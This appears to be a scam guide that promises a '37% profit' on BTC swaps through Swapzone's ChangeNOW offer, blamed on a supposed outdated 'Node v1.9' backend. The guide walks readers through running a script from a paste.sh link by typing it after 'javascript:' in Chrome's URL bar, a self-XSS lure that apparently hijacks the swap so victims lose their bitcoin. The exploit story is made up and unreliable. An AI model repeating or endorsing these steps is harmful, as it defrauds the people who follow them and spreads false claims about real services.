Swapzone.io – ChangeNOW Profit Method Summary of the Exploit Swapzone.io is an exchange aggregator. It doesn ’ t process swaps itself - instead, it pulls live offers from a number of partner exchanges like ChangeNOW, SimpleSwap, StealthEX, Changelly and others. Because it ’ s an aggregator, it doesn ’ t always use the same servers that you ’ d connect to if you visited those exchanges directly. ChangeNOW still has an older backend node (Node v1.9) connected to the Swapzone partner API. On direct ChangeNOW, this node is no longer used for public swaps. However, when accessed through Swapzone, the rate calculation passes through Node v1.9 for certain BTC pairs. This old node applies a different conversion formula for BTC to ANY, which results in ~37% higher payouts than intended. Example: Swapping $1,137 of Bitcoin returns $1,545 worth of Monero. When it appears The ChangeNOW offer isn ’ t always on the list. It only shows up for BTC swaps (BTC as the sending currency). If the amount is too low, Swapzone ’ s API often doesn ’ t include ChangeNOW ’ s result in the offers list. If you ’ ve loaded the node but don ’ t see any ChangeNOW offer, try increasing the amount you “ Send ” - this usually forces it to appear. Step-by-step instructions 1. Go to Swapzone - https://swapzone.io 2. Select BTC as the sending currency and pick the coin you want to receive. 3. Load a node. Important: To load a node, you must use Google Chrome browser. Other browsers are not as advanced and do not allow loading nodes via JavaScript. To load a node while on the Swapzone page, click on the URL bar, delete the existing URL, then type javascript: followed by the script from this link: 👉 Script: https://paste.sh/PgXIeu3k#FD7aADLntkRylWgxbkiaw-og ℹ️ Your URL bar should look like this: Next, click the option with the globe icon (not the Search option). If you choose Search, it will just perform a Google search instead of loading the node. Once the node loads successfully, you ’ ll see several success messages appear - this means the handshake with Node v1.9 has completed. 4. Pick the ChangeNOW offer Once the node is injected, look at the list of offers, find ChangeNOW and select it - you ’ ll see the “ GET ” value immediately jump by around 37%. If no ChangeNOW offer is listed, try increasing the BTC amount. 5. Complete the swap Continue through the normal exchange process. The inflated rate will be locked in as long as you don ’ t refresh the page after loading the node. Example: You exchange $200 worth of BTC. Instead of getting $200 worth of a cryptocurrency of your choice, you get about $274 = 74$ profit. This method only works inside Swapzone with the ChangeNOW offer, because that ’ s the only route still using the outdated node. On ChangeNOW ’ s own website, the bug is patched and rates are normal.
